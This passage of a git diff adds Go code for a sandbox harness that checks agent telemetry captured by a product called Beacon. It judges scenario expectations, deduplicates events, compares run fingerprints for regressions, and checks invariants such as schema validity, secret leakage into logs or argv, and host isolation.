+ Check: "sentinel.agent_acted", Severity: SevWarn,
+ Summary: fmt.Sprintf("sentinel %s could not be read, so whether the agent acted is unverified", sc.Sentinel),
+ Why: "an unreadable probe is not evidence the agent was idle; expectations below are " +
+ "judged without that excuse, and a failure here is not automatically a retry",
+ })
+ for i, exp := range sc.Expect {
+ evaluate(v, log, exp, i, canary)
+ }
+ return
+ }
+ if sc.Sentinel != "" && sent.Declared && !sent.Present {
+ v.Outcome = Inconclusive
+ v.Reason = "sentinel absent: the agent did not perform the requested work, so capture cannot be judged"
+ v.Add(Finding{
+ Check: "sentinel.agent_acted", Severity: SevInfo,
+ Summary: fmt.Sprintf("sentinel %s not found (%s)", sc.Sentinel, sent.Detail),
+ Why: "distinguishes a Beacon capture gap from the model declining or failing the task; retry the scenario",
+ })
+ return
+ }
+ if sc.Sentinel != "" {
+ v.Add(Finding{
+ Check: "sentinel.agent_acted", Severity: SevInfo,
+ Summary: "confirmed: " + oneLine(sent.Detail),
+ Why: "a missing expectation below is therefore a genuine capture gap, not an inactive agent",
+ })
+ }
+
+ // No sentinel to fall back on, so the agent's own report is the only evidence about whether
+ // there was anything to capture. A failed session means the work never happened, which is a
+ // retry rather than a Beacon defect.
+ if sc.Sentinel == "" && sess.Known && !sess.OK {
+ v.Outcome = Inconclusive
+ v.Reason = "the agent session itself failed, so there was nothing for Beacon to capture"
+ v.Add(Finding{
+ Check: "session.agent_succeeded", Severity: SevInfo,
+ Summary: "the agent reported failure (see claude-result.json)",
+ Why: "this scenario has no sentinel, so the session result is the only evidence the " +
+ "work happened; retry rather than investigating capture",
+ })
+ return
+ }
+ if sc.Sentinel == "" && !sess.Known {
+ v.Add(Finding{
+ Check: "session.agent_succeeded", Severity: SevWarn,
+ Summary: "the agent's own result could not be read, so whether the work happened is unverified",
+ Why: "with no sentinel and no session result there is nothing to disambiguate a " +
+ "missing event, so a failure below is not automatically a Beacon defect",
+ })
+ }
+
+ for i, exp := range sc.Expect {
+ evaluate(v, log, exp, i, canary)
+ }
+}
+
+func evaluate(v *Verdict, log Log, exp scenario.Expect, idx int, canary string) {
+ want := exp.MinCount
+ if want <= 0 {
+ want = 1
+ }
+ sev := SevFail
+ if exp.Optional {
+ sev = SevWarn
+ }
+ name := fmt.Sprintf("expect[%d].%s", idx, exp.Action)
+
+ // Candidates: events with the right action.
+ var candidates []Event
+ for _, e := range log.Events {
+ if e.ParseErr == nil && e.Action() == exp.Action {
+ candidates = append(candidates, e)
+ }
+ }
+ if len(candidates) == 0 {
+ v.Add(Finding{
+ Check: name, Severity: sev,
+ Summary: fmt.Sprintf("no event with action %q was captured", exp.Action),
+ Why: exp.Why,
+ })
+ return
+ }
+
+ // Narrow by required substrings and fields. Both are evaluated for every candidate
+ // rather than short-circuiting, because "the action fired but the field threat rules
+ // need is empty" is a far more actionable diagnosis than "no match", and the two
+ // usually co-occur -- an empty command.command also means the canary is absent.
+ var matched []Event
+ missingFields := map[string]int{}
+ missingSubs := map[string]int{}
+ for _, e := range candidates {
+ ok := true
+ for _, sub := range exp.Contains {
+ needle := strings.ReplaceAll(sub, "{{canary}}", canary)
+ // strings.Contains(x, "") is true for every x, so an empty needle would make the
+ // expectation pass vacuously -- and an offline verify reads the canary from
+ // meta.json, where it can be missing or cleared. This is the exact inverse of the
+ // empty-secret case the leak check already refuses to call clean, so it gets the
+ // same treatment: an unrunnable match is a failure to verify, never a pass.
+ if needle == "" {
+ missingSubs["<empty marker: cannot be matched>"]++
+ ok = false
+ continue
+ }
+ if !strings.Contains(e.Raw, needle) {
+ missingSubs[needle]++
+ ok = false
+ }
+ }
+ for _, f := range exp.Fields {
+ if _, present := e.Field(f); !present {
+ missingFields[f]++
+ ok = false
+ }
+ }
+ if ok {
+ matched = append(matched, e)
+ }
+ }
+
+ effective := collapseDuplicates(matched)
+ if len(effective) >= want {
+ return
+ }
+
+ // Build an explanation that distinguishes "action absent" from "action present but the
+ // field threat rules need is empty" -- a distinction that matters a lot in practice.
+ var detail []string
+ // Fields first: an unpopulated field is the more specific and more actionable cause,
+ // and it is what determines whether threat rules can match.
+ if len(missingFields) > 0 {
+ var fs []string
+ for _, f := range sortedKeys(missingFields) {
+ fs = append(fs, fmt.Sprintf("%s (empty on %d event(s))", f, missingFields[f]))
+ }
+ detail = append(detail, "unpopulated field(s): "+strings.Join(fs, ", "))
+ }
+ if len(missingSubs) > 0 {
+ var ss []string
+ for _, s := range sortedKeys(missingSubs) {
+ ss = append(ss, fmt.Sprintf("%q (absent from %d event(s))", s, missingSubs[s]))
+ }
+ detail = append(detail, "missing substring(s): "+strings.Join(ss, ", "))
+ }
+ msg := fmt.Sprintf("action %q present %d time(s) but only %d matched, want %d",
+ exp.Action, len(candidates), len(effective), want)
+ if len(detail) > 0 {
+ msg += "; " + strings.Join(detail, "; ")
+ }
+
+ var ev []string
+ for _, e := range candidates {
+ ev = append(ev, fmt.Sprintf("%s:%d", log.Path, e.Line))
+ }
+ v.Add(Finding{
+ Check: name, Severity: sev, Summary: msg, Why: exp.Why, Evidence: cap5(ev),
+ })
+}
+
+// collapseDuplicates removes matches the writer would have suppressed, so counting reflects what
+// Beacon can actually be expected to have recorded.
+//
+// This mirrors asymptoteobserve.IsDuplicateEndpointEvent rather than approximating it. An earlier
+// version collapsed any same-identity pair inside the window regardless of harness or call ID,
+// which over-collapsed badly: every event in a sandbox run carries harness claude_code, and the
+// real writer preserves same-harness repeats unless both events share an equal, non-empty tool
+// call ID -- because two adjacent calls can legitimately touch the same file or command. The
+// crude model therefore under-counted legitimate repeats and could fail a min_count the writer
+// would never have collapsed. Reported by Cursor Bugbot.
+//
+// Three rules matter, all taken from pkg/asymptoteobserve/dedupe.go:
+//
+// - only dedupeActions are candidates at all; every other action is preserved verbatim
+// - same harness collapses only on equal non-empty call IDs; different harness collapses on
+// the window alone
+// - the window is 2s, except tool.completed which uses 10s
+func collapseDuplicates(events []Event) []Event {
+ if len(events) < 2 {
+ return events
+ }
+ var out, kept []Event
+ for _, e := range events {
+ if !dedupeCandidate(e) {
+ out = append(out, e)
+ continue
+ }
+ ts, err := time.Parse(time.RFC3339, e.Typed.Timestamp)
+ if err != nil {
+ out = append(out, e)
+ continue
+ }
+ suppressed := false
+ for _, prev := range kept {
+ if prev.Action() != e.Action() || identity(prev) != identity(e) {
+ continue
+ }
+ // Same harness needs matching, non-empty call IDs before the writer collapses.
+ if harnessOf(prev) == harnessOf(e) {
+ a, b := callIDOf(prev), callIDOf(e)
+ if a == "" || b == "" || a != b {
+ continue
+ }
+ }
+ pts, err := time.Parse(time.RFC3339, prev.Typed.Timestamp)
+ if err != nil {
+ continue
+ }
+ diff := ts.Sub(pts)
+ if diff < 0 {
+ diff = -diff
+ }
+ if diff <= dedupeWindowFor(e.Action()) {
+ suppressed = true
+ break
+ }
+ }
+ if suppressed {
+ continue
+ }
+ kept = append(kept, e)
+ out = append(out, e)
+ }
+ return out
+}
+
+// dedupeActions is the exact set the writer considers for suppression. Anything outside it is
+// never collapsed, so treating it as collapsible would invent suppression that does not happen.
+var dedupeActions = map[string]bool{
+ "mcp.tool_invoked": true, "command.executed": true,
+ "file.read": true, "file.modified": true,
+ "tool.invoked": true, "tool.completed": true, "tool.failed": true,
+}
+
+// dedupeCandidate mirrors the writer's preconditions: a candidate action plus a session id, since
+// an event without one is never suppressed.
+func dedupeCandidate(e Event) bool {
+ if !dedupeActions[e.Action()] {
+ return false
+ }
+ return e.Typed.Session != nil && e.Typed.Session.ID != ""
+}
+
+// dedupeWindowFor mirrors endpointDedupeWindow: tool.completed gets a longer window because the
+// same completion can legitimately be reported twice further apart.
+func dedupeWindowFor(action string) time.Duration {
+ if strings.EqualFold(action, "tool.completed") {
+ return 10 * time.Second
+ }
+ return DuplicateWindow
+}
+
+func harnessOf(e Event) string {
+ if v, ok := e.Field("harness.name"); ok {
+ return strings.ToLower(fmt.Sprint(v))
+ }
+ return ""
+}
+
+func callIDOf(e Event) string {
+ if v, ok := e.Field("gen_ai.tool.call.id"); ok {
+ return fmt.Sprint(v)
+ }
+ return ""
+}
+
+// identity approximates what the writer considers "the same event", using the fields that
+// carry the payload rather than the whole line (which includes varying timestamps).
+func identity(e Event) string {
+ parts := []string{e.Typed.Message}
+ if e.Typed.Command != nil {
+ parts = append(parts, e.Typed.Command.Command)
+ }
+ if e.Typed.Tool != nil {
+ parts = append(parts, e.Typed.Tool.Name, e.Typed.Tool.Command)
+ }
+ if e.Typed.File != nil {
+ parts = append(parts, e.Typed.File.Path)
+ }
+ if e.Typed.Prompt != nil {
+ parts = append(parts, e.Typed.Prompt.Text)
+ }
+ return strings.Join(parts, "\x00")
+}
+
+// sortedKeys keeps findings stable across runs, so a diff between two verdicts reflects
+// real change rather than map iteration order.
+func sortedKeys(m map[string]int) []string {
+ out := make([]string, 0, len(m))
+ for k := range m {
+ out = append(out, k)
+ }
+ sort.Strings(out)
+ return out
+}
+
+func oneLine(s string) string {
+ s = strings.ReplaceAll(strings.TrimSpace(s), "\n", " ")
+ if len(s) > 160 {
+ return s[:160] + "..."
+ }
+ return s
+}
diff --git a/beacon-sandbox/check/fingerprint.go b/beacon-sandbox/check/fingerprint.go
new file mode 100644
index 00000000..10ad9221
--- /dev/null
+++ b/beacon-sandbox/check/fingerprint.go
@@ -0,0 +1,228 @@
+package check
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+ "sort"
+ "strings"
+)
+
+// Fingerprint is a compact summary of what a run was able to capture.
+//
+// Absolute thresholds answer "is this run acceptable"; a fingerprint answers "did we get
+// worse". Those are different questions: a change can keep every expectation passing while
+// quietly dropping a field that nothing asserts yet. Comparing fingerprints across runs makes
+// that visible.
+type Fingerprint struct {
+ Scenario string `json:"scenario"`
+ Outcome Outcome `json:"outcome"`
+ // Actions counts events per event.action.
+ Actions map[string]int `json:"actions"`
+ // Harnesses counts events per harness.name. More than one entry for a single runtime is
+ // the known OTLP-vs-hooks inconsistency.
+ Harnesses map[string]int `json:"harnesses"`
+ // PopulatedFields counts how many events carry each interesting field. This is the part
+ // that catches silent regressions -- an action can keep firing while the field threat
+ // rules match on goes empty.
+ PopulatedFields map[string]int `json:"populated_fields"`
+ // EventCount is the total number of lines.
+ EventCount int `json:"event_count"`
+ // QuiescenceSeconds is how long the log took to stop growing after the session, i.e.
+ // telemetry arrival latency. Recorded because Beacon sets no explicit OTel export
+ // interval, so this is the empirical answer to "how long must a checker wait".
+ QuiescenceSeconds string `json:"quiescence_seconds,omitempty"`
+}
+
+// TrackedFields are the leaves worth trending. Deliberately weighted toward the scalar paths
+// threat rules can actually match on (spec/threat-rules/FIELDS.md excludes e.raw.*), since
+// those are where a silent capture regression does the most damage.
+var TrackedFields = []string{
+ "session.id",
+ "harness.name",
+ "prompt.text",
+ "command.command",
+ "command.exit_code",
+ "command.duration_ms",
+ "file.path",
+ "file.operation",
+ "tool.name",
+ "tool.command",
+ "approval.decision",
+ "model",
+ "repository",
+ "branch",
+ "trace.id",
+ "gen_ai.usage.input_tokens",
+ "gen_ai.usage.output_tokens",
+ "gen_ai.usage.cost_usd",
+}
+
+// Fingerprint builds the summary for a verdict.
+func (v Verdict) Fingerprint(log Log) Fingerprint {
+ fp := Fingerprint{
+ Scenario: v.Scenario,
+ Outcome: v.Outcome,
+ Actions: log.ActionHistogram(),
+ Harnesses: log.HarnessNames(),
+ PopulatedFields: map[string]int{},
+ EventCount: len(log.Events),
+ QuiescenceSeconds: v.Meta["quiescence_seconds"],
+ }
+ for _, f := range TrackedFields {
+ n := 0
+ for _, e := range log.Events {
+ if e.ParseErr != nil {
+ continue
+ }
+ if _, ok := e.Field(f); ok {
+ n++
+ }
+ }
+ // Record zeros too: "this field was never populated" is the finding, and omitting it
+ // would make a regression from 5 to 0 look like a missing key rather than a loss.
+ fp.PopulatedFields[f] = n
+ }
+ return fp
+}
+
+// WriteJSON persists a fingerprint.
+func (f Fingerprint) WriteJSON(path string) error {
+ b, err := json.MarshalIndent(f, "", " ")
+ if err != nil {
+ return err
+ }
+ return os.WriteFile(path, append(b, '\n'), 0o644)
+}
+
+// LoadFingerprint reads one back.
+func LoadFingerprint(path string) (Fingerprint, error) {
+ var f Fingerprint
+ b, err := os.ReadFile(path)
+ if err != nil {
+ return f, err
+ }
+ return f, json.Unmarshal(b, &f)
+}
+
+// FingerprintDiff is the comparison between two runs of the same scenario.
+type FingerprintDiff struct {
+ Scenario string
+ // Regressions are strictly-worse changes: a field or action that used to be captured
+ // and now is not. These are the reason this exists.
+ Regressions []string
+ // Improvements are the inverse, worth showing so a fix is visibly confirmed.
+ Improvements []string
+ // Neutral covers count changes that are expected to vary run to run.
+ Neutral []string
+}
+
+// HasRegression reports whether anything got worse.
+func (d FingerprintDiff) HasRegression() bool { return len(d.Regressions) > 0 }
+
+// CompareFingerprints diffs two runs.
+//
+// Only presence transitions are treated as regressions, not count changes: an agent that
+// takes three turns instead of two legitimately produces different counts, and flagging that
+// would drown the signal. Going from "captured at all" to "never captured" cannot be
+// explained by model nondeterminism.
+func CompareFingerprints(before, after Fingerprint) FingerprintDiff {
+ d := FingerprintDiff{Scenario: after.Scenario}
+
+ for _, f := range TrackedFields {
+ b, a := before.PopulatedFields[f], after.PopulatedFields[f]
+ switch {
+ case b > 0 && a == 0:
+ d.Regressions = append(d.Regressions,
+ fmt.Sprintf("field %s no longer populated (was on %d event(s))", f, b))
+ case b == 0 && a > 0:
+ d.Improvements = append(d.Improvements,
+ fmt.Sprintf("field %s now populated on %d event(s)", f, a))
+ case b != a:
+ d.Neutral = append(d.Neutral, fmt.Sprintf("field %s count %d -> %d", f, b, a))
+ }
+ }
+
+ for _, action := range union(before.Actions, after.Actions) {
+ b, a := before.Actions[action], after.Actions[action]
+ switch {
+ case b > 0 && a == 0:
+ d.Regressions = append(d.Regressions,
+ fmt.Sprintf("action %s no longer emitted (was %d time(s))", action, b))
+ case b == 0 && a > 0:
+ d.Improvements = append(d.Improvements,
+ fmt.Sprintf("action %s now emitted %d time(s)", action, a))
+ case b != a:
+ d.Neutral = append(d.Neutral, fmt.Sprintf("action %s count %d -> %d", action, b, a))
+ }
+ }
+
+ for _, h := range union(before.Harnesses, after.Harnesses) {
+ if before.Harnesses[h] == 0 && after.Harnesses[h] > 0 {
+ d.Improvements = append(d.Improvements, fmt.Sprintf("harness name %s appeared", h))
+ }
+ if before.Harnesses[h] > 0 && after.Harnesses[h] == 0 {
+ d.Regressions = append(d.Regressions, fmt.Sprintf("harness name %s disappeared", h))
+ }
+ }
+
+ if before.Outcome != after.Outcome {
+ msg := fmt.Sprintf("outcome %s -> %s", before.Outcome, after.Outcome)
+ switch {
+ case before.Outcome == Pass && after.Outcome == Fail:
+ d.Regressions = append(d.Regressions, msg)
+ case before.Outcome == Fail && after.Outcome == Pass:
+ d.Improvements = append(d.Improvements, msg)
+ default:
+ // One side is INCONCLUSIVE, which means the agent never did the work, so that
+ // run measured nothing. A measurement cannot be compared against a
+ // non-measurement in either direction: treating the transition as an
+ // improvement previously made INCONCLUSIVE -> FAIL read as progress, and
+ // PASS -> INCONCLUSIVE hide a lost signal.
+ d.Neutral = append(d.Neutral, msg+" (not comparable: one run was inconclusive)")
+ }
+ }
+
+ sort.Strings(d.Regressions)
+ sort.Strings(d.Improvements)
+ sort.Strings(d.Neutral)
+ return d
+}
+
+// Describe renders the diff.
+func (d FingerprintDiff) Describe() string {
+ var b strings.Builder
+ fmt.Fprintf(&b, "%s\n", d.Scenario)
+ if len(d.Regressions) == 0 && len(d.Improvements) == 0 {
+ fmt.Fprintf(&b, " no capability change\n")
+ }
+ for _, r := range d.Regressions {
+ fmt.Fprintf(&b, " REGRESSION %s\n", r)
+ }
+ for _, i := range d.Improvements {
+ fmt.Fprintf(&b, " improved %s\n", i)
+ }
+ for _, n := range d.Neutral {
+ fmt.Fprintf(&b, " (varies) %s\n", n)
+ }
+ return b.String()
+}
+
+func union(a, b map[string]int) []string {
+ seen := map[string]bool{}
+ var out []string
+ for k := range a {
+ if !seen[k] {
+ seen[k] = true
+ out = append(out, k)
+ }
+ }
+ for k := range b {
+ if !seen[k] {
+ seen[k] = true
+ out = append(out, k)
+ }
+ }
+ sort.Strings(out)
+ return out
+}
diff --git a/beacon-sandbox/check/invariants.go b/beacon-sandbox/check/invariants.go
new file mode 100644
index 00000000..ea850c31
--- /dev/null
+++ b/beacon-sandbox/check/invariants.go
@@ -0,0 +1,329 @@
+package check
+
+import (
+ "fmt"
+ "sort"
+ "strings"
+ "time"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/hostguard"
+ obs "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"
+)
+
+// MaxEventBytes mirrors the writer's cap (cli/beacon/internal/endpoint/writer/writer.go).
+// Anything larger means the size-control path failed.
+const MaxEventBytes = 64 * 1024
+
+// KnownActions is the set of event.action values the shipping code emits.
+//
+// There are no Go constants for actions anywhere in the product -- every one is an inline
+// string literal across three modules -- so a typo yields a silently unmatched event and a
+// silently dead threat rule. This list makes the harness the safety net for that, and an
+// unrecognized action is reported rather than ignored.
+var KnownActions = map[string]bool{
+ // agent runtime activity
+ "session.started": true, "session.ended": true, "session.activity": true,
+ "session.compacting": true, "session.event": true, "session.created": true,
+ "session.deleted": true, "session.idle": true, "session.error": true,
+ "session.compacted": true,
+ "prompt.submitted": true,
+ "tool.invoked": true, "tool.completed": true, "tool.failed": true,
+ "command.executed": true, "command.invoked": true,
+ "file.read": true, "file.modified": true, "file.created": true,
+ "mcp.tool_invoked": true,
+ "approval.requested": true, "approval.allowed": true, "approval.denied": true,
+ "policy.blocked": true,
+ "subagent.started": true, "subagent.stopped": true,
+ "agent.reasoning": true, "agent.response": true, "model.retry": true,
+ "token.usage": true, "cost.usage": true, "metric.observed": true,
+ "trace.unclassified": true,
+ // endpoint management
+ "agent.detected": true, "telemetry.enabled": true, "telemetry.disabled": true,
+ "telemetry.misconfigured": true, "inventory.heartbeat": true, "inventory.snapshot": true,
+ "installation.updated": true, "endpoint.health_failed": true,
+ "endpoint.tamper_detected": true, "endpoint.validation": true,
+}
+
+// Secrets holds values that must never appear in a collected artifact.
+type Secrets struct {
+ // Values are matched literally. Empty strings are ignored -- a naive substring check
+ // against "" matches every line, which produced a false "leaked" verdict during M0.
+ Values map[string]string
+ // Withheld names credentials whose value is deliberately not available locally, mapped to
+ // the reason. Using a provider-stored secret is the most secure option precisely because
+ // the value never enters this process, but that also means there is nothing to search the
+ // artifacts for. Recording the reason keeps the resulting warning honest: the check did
+ // not pass, it could not run, and that is a consequence of the chosen credential path
+ // rather than a defect.
+ Withheld map[string]string
+}
+
+// Invariants checks properties that hold regardless of what the agent chose to do, so they
+// need no scenario knowledge and no ground truth.
+func Invariants(v *Verdict, log Log, secrets Secrets) {
+ v.EventCount = len(log.Events)
+ v.Histogram = log.ActionHistogram()
+ v.Harnesses = log.HarnessNames()
+
+ checkParseable(v, log)
+ checkSchema(v, log)
+ checkSizes(v, log)
+ checkTimestamps(v, log)
+ checkActions(v, log)
+ checkSecrets(v, log, secrets)
+}
+
+// checkParseable fails on any line that is not valid JSON. This is why the reader does not
+// use dashboard.StreamEvents, which would silently drop such lines.
+func checkParseable(v *Verdict, log Log) {
+ var ev []string
+ for _, e := range log.Events {
+ if e.ParseErr != nil {
+ ev = append(ev, fmt.Sprintf("%s:%d (%v)", log.Path, e.Line, e.ParseErr))
+ }
+ }
+ if len(ev) > 0 {
+ v.Add(Finding{
+ Check: "invariant.jsonl_parseable", Severity: SevFail,
+ Summary: fmt.Sprintf("%d of %d lines are not valid JSON", len(ev), len(log.Events)),
+ Why: "a malformed line means the writer emitted corrupt output; the dashboard would hide this by skipping it",
+ Evidence: cap5(ev),
+ })
+ }
+}
+
+// checkSchema runs the shipped validator, so the harness tracks the real release contract
+// instead of a copy that can drift.
+func checkSchema(v *Verdict, log Log) {
+ var ev []string
+ for _, e := range log.Events {
+ if e.ParseErr != nil {
+ continue
+ }
+ if err := e.Typed.Validate(); err != nil {
+ ev = append(ev, fmt.Sprintf("%s:%d (%v)", log.Path, e.Line, err))
+ }
+ }
+ if len(ev) > 0 {
+ v.Add(Finding{
+ Check: "invariant.schema_valid", Severity: SevFail,
+ Summary: fmt.Sprintf("%d event(s) fail asymptoteobserve.Event.Validate()", len(ev)),
+ Why: "vendor/product/schema_version and the required event fields are a release contract",
+ Evidence: cap5(ev),
+ })
+ }
+}
+
+func checkSizes(v *Verdict, log Log) {
+ var ev []string
+ for _, e := range log.Events {
+ if len(e.Raw) > MaxEventBytes {
+ ev = append(ev, fmt.Sprintf("%s:%d (%d bytes)", log.Path, e.Line, len(e.Raw)))
+ }
+ }
+ if len(ev) > 0 {
+ v.Add(Finding{
+ Check: "invariant.event_size", Severity: SevFail,
+ Summary: fmt.Sprintf("%d event(s) exceed the %d byte cap", len(ev), MaxEventBytes),
+ Why: "oversized events indicate the truncation and size-control path did not run",
+ Evidence: cap5(ev),
+ })
+ }
+}
+
+// checkTimestamps requires parseable RFC3339 timestamps, and reports large regressions
+// within a session as a warning only.
+//
+// Not a hard failure: the collector batches, and the exporter stamps metric events from the
+// datapoint time while log events use their own, so modest out-of-order arrival is normal
+// rather than a defect.
+func checkTimestamps(v *Verdict, log Log) {
+ var unparseable []string
+ latestBySession := map[string]time.Time{}
+ var regressions []string
+
+ for _, e := range log.Events {
+ if e.ParseErr != nil {
+ continue
+ }
+ ts, err := time.Parse(time.RFC3339, e.Typed.Timestamp)
+ if err != nil {
+ unparseable = append(unparseable, fmt.Sprintf("%s:%d (%q)", log.Path, e.Line, e.Typed.Timestamp))
+ continue
+ }
+ sess := ""
+ if e.Typed.Session != nil {
+ sess = e.Typed.Session.ID
+ }
+ // Fetched once and branched on explicitly. The previous form read prev inside an
+ // `else if` attached to the same `if prev, ok := ...` initializer, which is valid Go but
+ // relies on prev being the zero time when ok is false -- subtle enough that a reviewer
+ // read it as a compile error. Same behavior, stated outright.
+ prev, seen := latestBySession[sess]
+ switch {
+ case seen && ts.Before(prev.Add(-5*time.Second)):
+ regressions = append(regressions, fmt.Sprintf("%s:%d (%s after %s)",
+ log.Path, e.Line, ts.Format(time.RFC3339), prev.Format(time.RFC3339)))
+ case !seen || ts.After(prev):
+ latestBySession[sess] = ts
+ }
+ }
+
+ if len(unparseable) > 0 {
+ v.Add(Finding{
+ Check: "invariant.timestamp_parseable", Severity: SevFail,
+ Summary: fmt.Sprintf("%d event(s) have a non-RFC3339 timestamp", len(unparseable)),
+ Evidence: cap5(unparseable),
+ })
+ }
+ if len(regressions) > 0 {
+ v.Add(Finding{
+ Check: "invariant.timestamp_order", Severity: SevWarn,
+ Summary: fmt.Sprintf("%d event(s) regress more than 5s within a session", len(regressions)),
+ Why: "expected to some degree given batching; a large or growing count suggests a stamping bug",
+ Evidence: cap5(regressions),
+ })
+ }
+}
+
+func checkActions(v *Verdict, log Log) {
+ unknown := map[string][]string{}
+ for _, e := range log.Events {
+ if e.ParseErr != nil {
+ continue
+ }
+ a := e.Action()
+ if a == "" || KnownActions[a] {
+ continue
+ }
+ unknown[a] = append(unknown[a], fmt.Sprintf("%s:%d", log.Path, e.Line))
+ }
+ if len(unknown) == 0 {
+ return
+ }
+ names := make([]string, 0, len(unknown))
+ var ev []string
+ for a, lines := range unknown {
+ names = append(names, a)
+ ev = append(ev, lines...)
+ }
+ sort.Strings(names)
+ v.Add(Finding{
+ Check: "invariant.known_actions", Severity: SevWarn,
+ Summary: "unrecognized event.action value(s): " + strings.Join(names, ", "),
+ Why: "actions are inline string literals with no shared enum, so a typo silently disables matching rules",
+ Evidence: cap5(ev),
+ })
+}
+
+// checkSecrets asserts no injected secret survived into the artifact.
+func checkSecrets(v *Verdict, log Log, secrets Secrets) {
+ for name, reason := range secrets.Withheld {
+ v.Add(Finding{
+ Check: "invariant.no_secret_leak", Severity: SevWarn,
+ Summary: fmt.Sprintf("cannot check for %s: %s, so the check is vacuous", name, reason),
+ Why: "the artifacts cannot be searched for a value this process never held; treat " +
+ "this as unverified rather than clean",
+ })
+ }
+ for name, val := range secrets.Values {
+ if strings.TrimSpace(val) == "" {
+ // Not a pass: an empty value means the check could not run, and reporting it
+ // as clean would be a false assurance.
+ v.Add(Finding{
+ Check: "invariant.no_secret_leak", Severity: SevWarn,
+ Summary: fmt.Sprintf("cannot check for %s: value was empty, so the check is vacuous", name),
+ Why: "a substring search for the empty string matches everything; treat this as unverified",
+ })
+ continue
+ }
+ var ev []string
+ for _, e := range log.Events {
+ if strings.Contains(e.Raw, val) {
+ ev = append(ev, fmt.Sprintf("%s:%d", log.Path, e.Line))
+ }
+ }
+ if len(ev) > 0 {
+ v.Add(Finding{
+ Check: "invariant.no_secret_leak", Severity: SevFail,
+ Summary: fmt.Sprintf("%s appears verbatim in %d event(s)", name, len(ev)),
+ Why: "retained content is routed through redaction; a live credential in the log is a disclosure",
+ Evidence: cap5(ev),
+ })
+ }
+ }
+}
+
+// HostSafety folds the out-of-band safety signals into the verdict.
+//
+// These are not derived from the event log, but they belong in the same verdict: a run that
+// captured perfect telemetry while clobbering the developer's ~/.beacon, or while leaking the
+// credential into the process table, is not a passing run.
+type HostSafety struct {
+ // HostChanged describes any modification to guarded host state, empty if clean.
+ HostChanged string
+ // SecretInArgv is true if the credential was found in the guest process table.
+ SecretInArgv bool
+ // ArgvCheckRan is false when the scan could not run, so its result proves nothing.
+ ArgvCheckRan bool
+}
+
+// Safety adds findings for the host-isolation and credential-handling guarantees.
+func Safety(v *Verdict, s HostSafety) {
+ // hostguard.Diff.Describe always returns a non-empty string -- "host state unchanged" when
+ // clean -- so an empty value can only mean the comparison never happened. Silence there
+ // would report an unrun check as a passing one, which is the same mistake the argv branch
+ // below already avoids. Reported by Cursor Bugbot, which spotted the inconsistency between
+ // the two halves of this function.
+ switch {
+ case s.HostChanged == "":
+ v.Add(Finding{
+ Check: "safety.host_untouched", Severity: SevWarn,
+ Summary: "no host comparison was recorded, so host isolation is unverified for this run",
+ Why: "treat as unproven, not as clean; a clean comparison records \"host state unchanged\"",
+ })
+ case s.HostChanged == hostguard.PartialDescription:
+ // Nothing was seen to change, but the service probe could not run, so half the guard is
+ // unverified. Not a failure -- a flaky launchctl or systemctl is not a host escape, and
+ // treating it as one would manufacture the most serious finding this tool has out of a
+ // tooling hiccup. Not silence either.
+ v.Add(Finding{
+ Check: "safety.host_untouched", Severity: SevWarn,
+ Summary: "files unchanged, but the service probe could not run, so services are unverified",
+ Why: "treat the service half as unproven; the file half of the guard did pass",
+ })
+ case s.HostChanged != hostguard.CleanDescription:
+ v.Add(Finding{
+ Check: "safety.host_untouched", Severity: SevFail,
+ Summary: "guarded host state changed during the run: " + s.HostChanged,
+ Why: "every Beacon install and service operation must happen inside the sandbox; " +
+ "a local change means a code path escaped isolation",
+ })
+ }
+
+ switch {
+ case s.SecretInArgv:
+ v.Add(Finding{
+ Check: "safety.secret_not_in_argv", Severity: SevFail,
+ Summary: "the injected credential was found in the guest process table",
+ Why: "argv is world-readable via /proc, so a credential there is a disclosure",
+ })
+ case !s.ArgvCheckRan:
+ // Deliberately a warning rather than silence: an unverified claim must not read as
+ // a verified one.
+ v.Add(Finding{
+ Check: "safety.secret_not_in_argv", Severity: SevWarn,
+ Summary: "the argv scan did not run, so credential handling is unverified for this run",
+ Why: "treat as unproven, not as clean",
+ })
+ }
+}
+
+func cap5(s []string) []string {
+ if len(s) <= 5 {
+ return s
+ }
+ return append(s[:5:5], fmt.Sprintf("... and %d more", len(s)-5))
+}
+
+var _ = obs.Vendor // keep the dependency explicit even if Validate() moves
diff --git a/beacon-sandbox/check/safety_test.go b/beacon-sandbox/check/safety_test.go
new file mode 100644
index 00000000..9c094fcb
--- /dev/null
+++ b/beacon-sandbox/check/safety_test.go
@@ -0,0 +1,169 @@
+package check
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestHostChangeFailsTheRun(t *testing.T) {
+ v := Verdict{Scenario: "t"}
+ Safety(&v, HostSafety{
+ HostChanged: "modified: /Users/x/.beacon (absent -> present:abcd1234)",
+ ArgvCheckRan: true,
+ })
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Fatalf("a guarded host change must fail the run, got %s", v.Outcome)
+ }
+ if !hasCheck(v, "safety.host_untouched") {
+ t.Errorf("expected safety.host_untouched to fire:\n%s", v.Report())
+ }
+}
+
+func TestCleanHostPasses(t *testing.T) {
+ v := Verdict{Scenario: "t"}
+ Safety(&v, HostSafety{HostChanged: "host state unchanged", ArgvCheckRan: true})
+ v.Resolve()
+
+ if v.Outcome != Pass {
+ t.Fatalf("expected PASS for a clean host, got %s:\n%s", v.Outcome, v.Report())
+ }
+ if len(v.Findings) != 0 {
+ t.Errorf("a clean, verified run should add no findings, got %d", len(v.Findings))
+ }
+}
+
+func TestSecretInArgvFailsTheRun(t *testing.T) {
+ v := Verdict{Scenario: "t"}
+ Safety(&v, HostSafety{SecretInArgv: true, ArgvCheckRan: true})
+ v.Resolve()
+
+ if v.Outcome != Fail {
+ t.Fatalf("a credential in argv must fail the run, got %s", v.Outcome)
+ }
+ if !hasCheck(v, "safety.secret_not_in_argv") {
+ t.Errorf("expected the argv check to fire:\n%s", v.Report())
+ }
+}
+
+// A check that did not run must read as unproven, never as clean. This is the exact mistake
+// that left the README's argv claim unverified in the first place.
+func TestSkippedArgvCheckIsWarnedNotSilent(t *testing.T) {
+ v := Verdict{Scenario: "t"}
+ Safety(&v, HostSafety{SecretInArgv: false, ArgvCheckRan: false})
+ v.Resolve()
+
+ if !hasCheck(v, "safety.secret_not_in_argv") {
+ t.Fatalf("a skipped check must still be reported:\n%s", v.Report())
+ }
+ for _, f := range v.Findings {
+ if f.Check == "safety.secret_not_in_argv" {
